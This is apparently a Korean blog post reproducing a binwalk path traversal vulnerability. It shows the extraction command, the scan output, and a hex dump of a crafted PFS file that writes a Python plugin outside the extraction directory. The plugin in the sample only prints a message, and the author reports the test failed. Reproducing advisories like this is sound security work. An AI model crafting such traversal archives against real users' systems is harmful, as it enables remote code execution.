반응형

설명

버전 2.1.2b ~ 2.3.2 까지의 ReFirm Labs binwalk에서 경로 탐색 취약점이 확인 되었다.

이 취약점을 통해 원격 공격자는 영향을 받는 binwalk 설치에서 임의 코드를 실행 할 수 있다.

“-e : 대상이 추출 모드(옵션)를 사용하여, binwalk로 악성 파일을 열어야 한다.”는 점에서 이 취약점을 악용하려면 사용자 상호 작용이 필요합니다 .

테스트 환경

  • MacOS Ventura 3.1
  • Homebrew로 설치한 Binwalk v2.3.3

테스트 과정

  1. binwalk -e -M poc.zip
babyhack@MacBookPro> binwalk -e -M poc.zip

Scan Time:     2023-02-01 20:30:54
Target File:   /Users/babyhack/Downloads/poc.zip
MD5 Checksum:  4fdad30c7c1b4915938b5ad2786f5bf8
Signatures:    411

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 170, uncompressed size: 349, name: malicious.pfs
324           0x144           End of Zip archive, footer length: 22

Scan Time:     2023-02-01 20:30:54
Target File:   /Users/babyhack/Downloads/_poc.zip.extracted/malicious.pfs
MD5 Checksum:  9a12bccad3db3ed8b818a31846d5976f
Signatures:    411

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PFS filesystem, version 0.9, 1 files

malicious.pfs 파일 내용

babyhack@MacBookPro> xxd malicious.pfs
00000000: 5046 532f 302e 3900 0000 0000 0000 0100  PFS/0.9.........
00000010: 2e2e 2f2e 2e2f 2e2e 2f2e 636f 6e66 6967  ../../../.config
00000020: 2f62 696e 7761 6c6b 2f70 6c75 6769 6e73  /binwalk/plugins
00000030: 2f6d 616c 7761 6c6b 2e70 7900 0000 0000  /malwalk.py.....
00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000090: 3412 0000 a000 0000 c100 0000 696d 706f  4...........impo
000000a0: 7274 2062 696e 7761 6c6b 2e63 6f72 652e  rt binwalk.core.
000000b0: 706c 7567 696e 0a0a 636c 6173 7320 4d61  plugin..class Ma
000000c0: 6c69 6369 6f75 7345 7874 7261 6374 6f72  liciousExtractor
000000d0: 2862 696e 7761 6c6b 2e63 6f72 652e 706c  (binwalk.core.pl
000000e0: 7567 696e 2e50 6c75 6769 6e29 3a0a 2020  ugin.Plugin):.
000000f0: 2020 2222 220a 2020 2020 4d61 6c69 6369    """.    Malici
00000100: 6f75 7320 6269 6e77 616c 6b20 706c 7567  ous binwalk plug
00000110: 696e 0a20 2020 2022 2222 0a0a 2020 2020  in.    """..
00000120: 6465 6620 696e 6974 2873 656c 6629 3a0a  def init(self):.
00000130: 2020 2020 2020 2020 7072 696e 7428 2268          print("h
00000140: 656c 6c6f 2066 726f 6d20 6d61 6c69 6369  ello from malici
00000150: 6f75 7320 706c 7567 696e 2229 0a         ous plugin").
import binwalk.core.plugin

class MaliciousExtractor(binwalk.core.plugin.Plugin):
"""    Malicious binwalk plugin.    """
	def init(self):
		print("hello from malicious plugin")

결과

  • binwalk.core.plugin 파일을 참조할 수 없어 제대로 실행 되지 않음.
  • 버전이 맞지 않아서 제대로 실행되지 않을 가능성도 있음.

ref.

  • https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk
반응형

+ Recent posts